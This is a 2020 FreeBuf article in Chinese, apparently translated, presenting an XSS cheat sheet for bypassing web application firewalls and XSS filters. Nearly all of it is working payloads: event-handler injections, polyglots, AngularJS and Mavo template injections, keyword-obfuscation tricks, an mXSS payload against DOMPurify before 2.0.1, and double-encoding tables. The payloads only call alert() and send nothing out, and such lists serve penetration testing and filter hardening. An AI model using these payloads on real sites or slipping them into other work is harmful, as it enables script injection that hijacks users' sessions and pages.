freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

2020年仍然有效的一些XSS Payload
2020-02-28 13:00:57

image.png

其实,现在网络上很多的XSS Cheat Sheet都已经过期了。很多的XSS Cheat Sheet都是直接从其他地方粗制粘贴过来的,而且有的测试用例早在十年前就已经没用了,但是也没人去整理和清理。除此之蛙,在大多数情况下我们所遇到的情况都是这些XSS Cheat Sheet测试用例无法解决的,有可能是因为Web应用防火墙,也有可能是因为XSS过滤器。当然了,如果只是一个简单的XSS漏洞,那你需要的仅仅只是一个有效的XSS攻击向量,而不是一堆“没用”的东西。

因此,在这篇文章中我想给大家提供一个“与众不同”的Cheat Sheet,在这份Cheat Sheet中我将给大家提供一份XSS技术和测试用例清单,并给出一些演示样例。希望在各位遇到难解决的WAF或XSS过滤器时,这份Cheat Sheet能够给大家提供一些帮助或灵感。虽然这份Cheat Sheet不能说100%完整,但是我相信这里提供的技术是2020年绝大部分研究人员仍在使用的技术。

标签-属性分隔符

有些过滤器会“天真地认为”只有某些特定字符可以分隔标签及其属性,下面给出的是在Firefox和Chrome中能够使用的有效分隔符的完整列表:

十进制值 URL编码 介绍
47 %2F 正斜杠
13 %0D 回车
12 %0C 分页符
10 %0A 换行
9 %09 水平制表符

使用方式

一般来说,你的Payload构造如下:

<svg onload=alert(1)>

你可以尝试使用上述字符来替换‘svg’和‘onload’中间的空格,这样就可以保证HTML仍然有效并且Payload能够正确执行(DEMO:有效的HTML):

<svg/onload=alert(1)><svg>

<svg

onload=alert(1)><svg> # newline char

<svg onload=alert(1)><svg> # tab char

<svg
onload=alert(1)><svg> # new page char (0xc)

基于JavaScript事件的XSS

详细参考资料:更多的HTML事件

标准HTML事件

0点击事件:

事件名称 标签 备注
onload body, iframe, img, frameset, input, script, style, link, svg 适用于0-click,但通常会被过滤掉
onpageshow body 适用于 0-click,但只能用在非DOM注入中
onfocus 大多数标签 适用于 0-click:配合autofocus=””使用
onmouseover 大多数标签 如果可能的话,添加参数值来让其尽可能的大。
onerror img, input, object, link, script, video, audio 确保传递参数来终止运行
onanimationstart 与任何可以设置动画的元素组合 启动,然后开始CSS动画
onanimationend 与任何可以设置动画的元素组合 启动,然后结束CSS动画
onstart marquee 在字幕动画启动时启动-仅限Firefox
onfinish marquee 在字幕动画启动时启动-仅限Firefox
ontoggle details 必须提供’opne’参数以支持0-click

使用样例:

<body onload=alert()>

<img src=x onerror=alert()>

<svg onload=alert()>

<body onpageshow=alert(1)>

<div style="width:1000px;height:1000px" onmouseover=alert()></div>

<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)

<marquee onstart=alert(1)> (firefox only)

<marquee loop=1 width=0 onfinish=alert(1)> (firefox only)

<input autofocus="" onfocus=alert(1)></input>

<details open ontoggle="alert()">  (chrome & opera only)

HTML5事件

0点击事件:

事件名称 标签 备注
onplay video, audio 适用于0-click:结合HTML的autoplay属性以及结合有效的视频/音频
onplaying video, audio 适用于0-click: 结合HTML的autoplay属性以及结合有效的视频/音频
oncanplay video, audio 必须链接有效的视频/音频
onloadeddata video, audio 必须链接有效的视频/音频
onloadedmetadata video, audio 必须链接有效的视频/音频
onprogress video, audio 必须链接有效的视频/音频
onloadstart video, audio 潜在的0-click向量
oncanplay video, audio 必须链接有效的视频/音频

使用样例:

<video autoplay onloadstart="alert()" src=x></video>

<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadstart="alert()"><source src=x></video>

<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>

<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>

基于CSS的事件

不幸的是,基于CSS来实现XSS现在已经越来越难了,我尝试过的所有向量目前都只能在非常旧的浏览器上工作。因此,下面介绍的是基于CSS来触发XSS的情况。

下面的例子使用的是style标签来为动画的开始和结束设置关键帧:

<style>@keyframes x {}</style>

<p style="animation: x;" onanimationstart="alert()">XSS</p>

<p style="animation: x;" onanimationend="alert()">XSS</p>

古怪的XSS向量

下面给出的是一些比较“奇葩”的XSS测试向量,这些测试向量很少见:

<svg><animate onbegin=alert() attributeName=x></svg>

<object data="data:text/html,<script>alert(5)</script>">

<iframe srcdoc="<svg onload=alert(4);>">

<object data=javascript:alert(3)>

<iframe src=javascript:alert(2)>

<embed src=javascript:alert(1)>

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>

<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczL**yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>

XSS多覆盖样例

下面我给出了几份XSS的多段代码,因为有的时候我们只需要输入特定的字符,或者只需要一个基于DOM或基于非DOM的注入场景。

字符 使用 多段代码
141 DOM和非DOM javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
88 非DOM "'--></noscript></noembed></template></title></textarea></style><script>alert()</script>
95 DOM '"--></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()>
54 非DOM "'>-->*/</noscript></ti tle><script>alert()</script>
42 DOM "'--></style></script><svg onload=alert()>

框架

为了攻击JS框架,我们还需要对相关的模板语言进行研究和分析。

AngularJS

{{constructor.constructor('alert(1)')()}}

这个Payload适用于大多数场景,但如果你还需要更多的Payload,可以点击【这里】获取。

Mavo

[self.alert(1)]

XSS过滤器绕过

圆括号过滤

利用HTML解析器和JS语句:

<svg onload=alert`1`></svg>

<svg onload=alert(1)></svg>

<svg onload=alert(1)></svg>

<svg onload=alert(1)></svg>

限制字符集

下面这三个站点可以将有效的JS代码转换为所谓的“乱码”来绕过绝大多数的过滤器:

1、JSFuck

2、JSFsck(不带圆括号的JSFuck)

3、jjencode

关键词过滤

避免使用的关键词:

(alert)(1)

(1,2,3,4,5,6,7,8,alert)(1)

a=alert,a(1)

[1].find(alert)

top["al”+”ert"](1)

top[/al/.source+/ert/.source](1)

al\u0065rt(1)

top['al\145rt'](1)

top['al\x65rt'](1)

top[8680439..toString(30)](1)  // Generated using parseInt("alert",30). Other bases also work

mXSS和DOM攻击

对于XSS过滤器来说,它们基本上不可能正确地预测浏览器如何跟HTML以及交互库进行数据处理的方式。因此,有的时候我们就可以将XSS Payload作为无效的HTML插入到目标页面中,然后浏览器将有可能把它作为有效Payload执行,这样就可以绕过过滤器了。

下面给出的是一个能够绕过最常见过滤器(DOMPurify <2.0.1)的mXSS Payload:

<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">

<svg><p><style><a id="</style><img src=1 onerror=alert(1)>"></p></svg>

双重编码

有的时候,应用程序会在字符串再次解码之前,对其执行XSS过滤,这样就会给我们留下实现绕过的可乘之机。

字符 双重编码
< %253C
> %253E
( %2528
) %2529
%2522
%2527

参考资料

1、https://www.vulnerability-lab.com/resources/documents/531.txt

2、https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

3、https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

4、https://cure53.de/fp170.pdf

5、https://www.*******.com/watch?v=5W-zGBKvLxk

6、https://xss.pwnfunction.com/

* 参考来源:netsec,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


# xss # payload # 2020
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录